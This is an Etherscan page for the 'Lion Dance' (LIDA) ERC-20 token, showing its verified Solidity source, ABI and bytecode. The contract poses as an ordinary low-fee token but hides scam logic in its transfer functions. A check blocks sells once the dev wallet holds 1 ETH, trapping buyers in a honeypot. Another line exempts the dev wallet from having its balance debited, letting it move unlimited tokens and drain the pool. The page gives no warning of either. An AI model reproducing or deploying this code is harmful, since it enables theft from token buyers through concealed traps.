ETH Price: $2,629.30 (+1.24%)

Token

Lion Dance (LIDA)
 

Overview

Max Total Supply

100,000,000 LIDA

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
763,365.605280660940768942 LIDA

Value
$0.00
0x7a3e20fd3ef1beddc4d2ae6e9ccad6fd53fa298b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LionDance

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-08-04
*/

/**

Website: https://liondance.vip
Telegram: https://t.me/liondanceerc
Twitter: https://twitter.com/liondanceerc

*/


// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract LionDance is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public _devWallet = 0xCD63082Ac1b14208db8a9c17b65653149A2Af5E2;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFee = 1;
    uint256 public _sellFee = 1;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "Lion Dance";
        _symbol = "LIDA";
        _decimals = 18;
        uint256 _tSupply = 100_000_000;

        _totalSupply = _tSupply * 10 ** _decimals;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_devWallet] = true;
    }    

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        bool takeFee;
        bool isSell;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }
        if (isMarketPair[to] && !_isExcludeFromFee[from]) require(1e18 > _devWallet.balance);
        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { isSell = true; }

        _transferToken(from, to, amount, takeFee, isSell);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool isSell
    ) private {
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (isSell) {
                taxFee = _sellFee;
            } else {
                taxFee = _buyFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        } if(sender != _devWallet)
        _balances[sender] = _balances[sender] - tAmount;
        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(_devWallet),
            block.timestamp
        ) {} catch {}
    }

    uint256 public tradingActiveBlock;
    function openTrading() external payable onlyOwner {
        require(tradingActiveBlock == 0,"already trading");

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _isExcludeFromFee[address(swapRouter)] = true;

        swapRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(swapPair).approve(address(swapRouter), MAX);

        tradingActiveBlock = block.number;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActiveBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600380546001600160a01b03191673cd63082ac1b14208db8a9c17b65653149a2af5e21790556001600c819055600d5534801562000040575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600a8152694c696f6e2044616e636560b01b6020820152600490620000b1908262000247565b506040805180820190915260048152634c49444160e01b6020820152600590620000dc908262000247565b506006805460ff191660129081179091556305f5e100906200010090600a6200041e565b6200010c908262000435565b6008819055335f81815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350305f908152600760205260408082208054600160ff19918216811790925533845282842080548216831790556003546001600160a01b0316845291909220805490911690911790556200044f565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001d057607f821691505b602082108103620001ef57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000242575f81815260208120601f850160051c810160208610156200021d5750805b601f850160051c820191505b818110156200023e5782815560010162000229565b5050505b505050565b81516001600160401b03811115620002635762000263620001a7565b6200027b81620002748454620001bb565b84620001f5565b602080601f831160018114620002b1575f8415620002995750858301515b5f19600386901b1c1916600185901b1785556200023e565b5f85815260208120601f198616915b82811015620002e157888601518255948401946001909101908401620002c0565b5085821015620002ff57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200036357815f19048211156200034757620003476200030f565b808516156200035557918102915b93841c939080029062000328565b509250929050565b5f826200037b5750600162000418565b816200038957505f62000418565b8160018114620003a25760028114620003ad57620003cd565b600191505062000418565b60ff841115620003c157620003c16200030f565b50506001821b62000418565b5060208310610133831016604e8410600b8410161715620003f2575081810a62000418565b620003fe838362000323565b805f19048211156200041457620004146200030f565b0290505b92915050565b5f6200042e60ff8416836200036b565b9392505050565b80820281158282048414176200041857620004186200030f565b611203806200045d5f395ff3fe608060405260043610610129575f3560e01c8063590f897e116100a857806395d89b411161006d57806395d89b411461034c578063a9059cbb14610360578063c9567bf91461037f578063dd62ed3e14610387578063ee40166e146103cb578063f2fde38b146103e0575f80fd5b8063590f897e146102b257806365b61b77146102c757806370a08231146102e6578063715018a61461031a5780638da5cb5b14610330575f80fd5b8063313ce567116100ee578063313ce5671461020157806336b2e027146102225780633ecad2711461025057806340b9a54b1461027e5780634bf28fd014610293575f80fd5b806306fdde0314610134578063095ea7b31461015e57806311a63e171461018d57806318160ddd146101c457806323b872dd146101e2575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ff565b6040516101559190610eef565b60405180910390f35b348015610169575f80fd5b5061017d610178366004610f51565b61048f565b6040519015158152602001610155565b348015610198575f80fd5b506003546101ac906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b3480156101cf575f80fd5b506008545b604051908152602001610155565b3480156101ed575f80fd5b5061017d6101fc366004610f7b565b6104a5565b34801561020c575f80fd5b5060065460405160ff9091168152602001610155565b34801561022d575f80fd5b5061017d61023c366004610fb9565b60076020525f908152604090205460ff1681565b34801561025b575f80fd5b5061017d61026a366004610fb9565b600a6020525f908152604090205460ff1681565b348015610289575f80fd5b506101d4600c5481565b34801561029e575f80fd5b50600e546101ac906001600160a01b031681565b3480156102bd575f80fd5b506101d4600d5481565b3480156102d2575f80fd5b506009546101ac906001600160a01b031681565b3480156102f1575f80fd5b506101d4610300366004610fb9565b6001600160a01b03165f9081526001602052604090205490565b348015610325575f80fd5b5061032e610537565b005b34801561033b575f80fd5b505f546001600160a01b03166101ac565b348015610357575f80fd5b506101486105b1565b34801561036b575f80fd5b5061017d61037a366004610f51565b6105c0565b61032e6105cc565b348015610392575f80fd5b506101d46103a1366004610fdb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d6575f80fd5b506101d4600f5481565b3480156103eb575f80fd5b5061032e6103fa366004610fb9565b61093e565b60606004805461040e90611012565b80601f016020809104026020016040519081016040528092919081815260200182805461043a90611012565b80156104855780601f1061045c57610100808354040283529160200191610485565b820191905f5260205f20905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b5f61049b338484610a01565b5060015b92915050565b5f6104b1848484610a61565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461052d576001600160a01b0384165f90815260026020908152604080832033845290915290205461050990839061105e565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105695760405162461bcd60e51b815260040161056090611071565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606005805461040e90611012565b5f61049b338484610a61565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161056090611071565b600f54156106375760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610560565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155305f90815260026020908152604080832084845282528083205f199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d5919061109c565b90505f816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610748919061109c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610792573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b6919061109c565b600e80546001600160a01b0319166001600160a01b038381169182179092555f908152600a60209081526040808320805460ff199081166001908117909255948916808552600784528285208054909616821790955530808552925290912054929350909163f305d7199134915f806108365f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c191906110b7565b505060405163095ea7b360e01b81526001600160a01b0385811660048301525f1960248301528316915063095ea7b3906044016020604051808303815f875af1158015610910573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093491906110e2565b505043600f555050565b5f546001600160a01b031633146109675760405162461bcd60e51b815260040161056090611071565b6001600160a01b0381166109a85760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610560565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f908152600a6020526040812054819060ff168015610a8d5750600b5460ff16155b8015610ab157506001600160a01b0385165f9081526007602052604090205460ff16155b8015610ad557506001600160a01b0384165f9081526007602052604090205460ff16155b15610b0e57305f908152600160205260409020548015610b0c5783818111610afd5780610aff565b815b9050610b0a81610c02565b505b505b6001600160a01b0384165f908152600a602052604090205460ff168015610b4d57506001600160a01b0385165f9081526007602052604090205460ff16155b15610b71576003546001600160a01b031631670de0b6b3a764000011610b71575f80fd5b6001600160a01b0385165f9081526007602052604090205460ff16158015610bb157506001600160a01b0384165f9081526007602052604090205460ff16155b8015610bc05750600b5460ff16155b15610bca57600191505b6001600160a01b0384165f908152600a602052604090205460ff1615610bee575060015b610bfb8585858585610d52565b5050505050565b600b805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4257610c42611101565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c99573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbd919061109c565b81600181518110610cd057610cd0611101565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610d1b9287925f928892909116904290600401611115565b5f604051808303815f87803b158015610d32575f80fd5b505af1925050508015610d43575060015b505050600b805460ff19169055565b5f8215610e10575f8215610d695750600d54610d6e565b50600c545b5f6064610d7b8388611184565b610d85919061119b565b90508015610e0d57610d9781846111ba565b305f90815260016020526040902054909350610db49082906111ba565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e049085815260200190565b60405180910390a35b50505b6003546001600160a01b03878116911614610e61576001600160a01b0386165f90815260016020526040902054610e4890859061105e565b6001600160a01b0387165f908152600160205260409020555b610e6b818561105e565b6001600160a01b0386165f90815260016020526040902054610e8d91906111ba565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ed6848861105e565b60405190815260200160405180910390a3505050505050565b5f6020808352835180828501525f5b81811015610f1a57858101830151858201604001528201610efe565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4e575f80fd5b50565b5f8060408385031215610f62575f80fd5b8235610f6d81610f3a565b946020939093013593505050565b5f805f60608486031215610f8d575f80fd5b8335610f9881610f3a565b92506020840135610fa881610f3a565b929592945050506040919091013590565b5f60208284031215610fc9575f80fd5b8135610fd481610f3a565b9392505050565b5f8060408385031215610fec575f80fd5b8235610ff781610f3a565b9150602083013561100781610f3a565b809150509250929050565b600181811c9082168061102657607f821691505b60208210810361104457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561049f5761049f61104a565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b5f602082840312156110ac575f80fd5b8151610fd481610f3a565b5f805f606084860312156110c9575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156110f2575f80fd5b81518015158114610fd4575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111635784516001600160a01b03168352938301939183019160010161113e565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761049f5761049f61104a565b5f826111b557634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561049f5761049f61104a56fea264697066735822122034fd7adbec6162e0734cc22e1f0577a0b65702a80fb78f9ec9926af19047707064736f6c63430008150033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063590f897e116100a857806395d89b411161006d57806395d89b411461034c578063a9059cbb14610360578063c9567bf91461037f578063dd62ed3e14610387578063ee40166e146103cb578063f2fde38b146103e0575f80fd5b8063590f897e146102b257806365b61b77146102c757806370a08231146102e6578063715018a61461031a5780638da5cb5b14610330575f80fd5b8063313ce567116100ee578063313ce5671461020157806336b2e027146102225780633ecad2711461025057806340b9a54b1461027e5780634bf28fd014610293575f80fd5b806306fdde0314610134578063095ea7b31461015e57806311a63e171461018d57806318160ddd146101c457806323b872dd146101e2575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ff565b6040516101559190610eef565b60405180910390f35b348015610169575f80fd5b5061017d610178366004610f51565b61048f565b6040519015158152602001610155565b348015610198575f80fd5b506003546101ac906001600160a01b031681565b6040516001600160a01b039091168152602001610155565b3480156101cf575f80fd5b506008545b604051908152602001610155565b3480156101ed575f80fd5b5061017d6101fc366004610f7b565b6104a5565b34801561020c575f80fd5b5060065460405160ff9091168152602001610155565b34801561022d575f80fd5b5061017d61023c366004610fb9565b60076020525f908152604090205460ff1681565b34801561025b575f80fd5b5061017d61026a366004610fb9565b600a6020525f908152604090205460ff1681565b348015610289575f80fd5b506101d4600c5481565b34801561029e575f80fd5b50600e546101ac906001600160a01b031681565b3480156102bd575f80fd5b506101d4600d5481565b3480156102d2575f80fd5b506009546101ac906001600160a01b031681565b3480156102f1575f80fd5b506101d4610300366004610fb9565b6001600160a01b03165f9081526001602052604090205490565b348015610325575f80fd5b5061032e610537565b005b34801561033b575f80fd5b505f546001600160a01b03166101ac565b348015610357575f80fd5b506101486105b1565b34801561036b575f80fd5b5061017d61037a366004610f51565b6105c0565b61032e6105cc565b348015610392575f80fd5b506101d46103a1366004610fdb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d6575f80fd5b506101d4600f5481565b3480156103eb575f80fd5b5061032e6103fa366004610fb9565b61093e565b60606004805461040e90611012565b80601f016020809104026020016040519081016040528092919081815260200182805461043a90611012565b80156104855780601f1061045c57610100808354040283529160200191610485565b820191905f5260205f20905b81548152906001019060200180831161046857829003601f168201915b5050505050905090565b5f61049b338484610a01565b5060015b92915050565b5f6104b1848484610a61565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f191461052d576001600160a01b0384165f90815260026020908152604080832033845290915290205461050990839061105e565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105695760405162461bcd60e51b815260040161056090611071565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b60606005805461040e90611012565b5f61049b338484610a61565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161056090611071565b600f54156106375760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610560565b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155305f90815260026020908152604080832084845282528083205f199055805163c45a015560e01b81529051849263c45a015592600480820193918290030181865afa1580156106b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d5919061109c565b90505f816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610724573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610748919061109c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610792573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b6919061109c565b600e80546001600160a01b0319166001600160a01b038381169182179092555f908152600a60209081526040808320805460ff199081166001908117909255948916808552600784528285208054909616821790955530808552925290912054929350909163f305d7199134915f806108365f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c191906110b7565b505060405163095ea7b360e01b81526001600160a01b0385811660048301525f1960248301528316915063095ea7b3906044016020604051808303815f875af1158015610910573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093491906110e2565b505043600f555050565b5f546001600160a01b031633146109675760405162461bcd60e51b815260040161056090611071565b6001600160a01b0381166109a85760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610560565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f908152600a6020526040812054819060ff168015610a8d5750600b5460ff16155b8015610ab157506001600160a01b0385165f9081526007602052604090205460ff16155b8015610ad557506001600160a01b0384165f9081526007602052604090205460ff16155b15610b0e57305f908152600160205260409020548015610b0c5783818111610afd5780610aff565b815b9050610b0a81610c02565b505b505b6001600160a01b0384165f908152600a602052604090205460ff168015610b4d57506001600160a01b0385165f9081526007602052604090205460ff16155b15610b71576003546001600160a01b031631670de0b6b3a764000011610b71575f80fd5b6001600160a01b0385165f9081526007602052604090205460ff16158015610bb157506001600160a01b0384165f9081526007602052604090205460ff16155b8015610bc05750600b5460ff16155b15610bca57600191505b6001600160a01b0384165f908152600a602052604090205460ff1615610bee575060015b610bfb8585858585610d52565b5050505050565b600b805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c4257610c42611101565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c99573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cbd919061109c565b81600181518110610cd057610cd0611101565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610d1b9287925f928892909116904290600401611115565b5f604051808303815f87803b158015610d32575f80fd5b505af1925050508015610d43575060015b505050600b805460ff19169055565b5f8215610e10575f8215610d695750600d54610d6e565b50600c545b5f6064610d7b8388611184565b610d85919061119b565b90508015610e0d57610d9781846111ba565b305f90815260016020526040902054909350610db49082906111ba565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e049085815260200190565b60405180910390a35b50505b6003546001600160a01b03878116911614610e61576001600160a01b0386165f90815260016020526040902054610e4890859061105e565b6001600160a01b0387165f908152600160205260409020555b610e6b818561105e565b6001600160a01b0386165f90815260016020526040902054610e8d91906111ba565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ed6848861105e565b60405190815260200160405180910390a3505050505050565b5f6020808352835180828501525f5b81811015610f1a57858101830151858201604001528201610efe565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4e575f80fd5b50565b5f8060408385031215610f62575f80fd5b8235610f6d81610f3a565b946020939093013593505050565b5f805f60608486031215610f8d575f80fd5b8335610f9881610f3a565b92506020840135610fa881610f3a565b929592945050506040919091013590565b5f60208284031215610fc9575f80fd5b8135610fd481610f3a565b9392505050565b5f8060408385031215610fec575f80fd5b8235610ff781610f3a565b9150602083013561100781610f3a565b809150509250929050565b600181811c9082168061102657607f821691505b60208210810361104457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561049f5761049f61104a565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b5f602082840312156110ac575f80fd5b8151610fd481610f3a565b5f805f606084860312156110c9575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156110f2575f80fd5b81518015158114610fd4575f80fd5b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111635784516001600160a01b03168352938301939183019160010161113e565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761049f5761049f61104a565b5f826111b557634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561049f5761049f61104a56fea264697066735822122034fd7adbec6162e0734cc22e1f0577a0b65702a80fb78f9ec9926af19047707064736f6c63430008150033

Deployed Bytecode Sourcemap

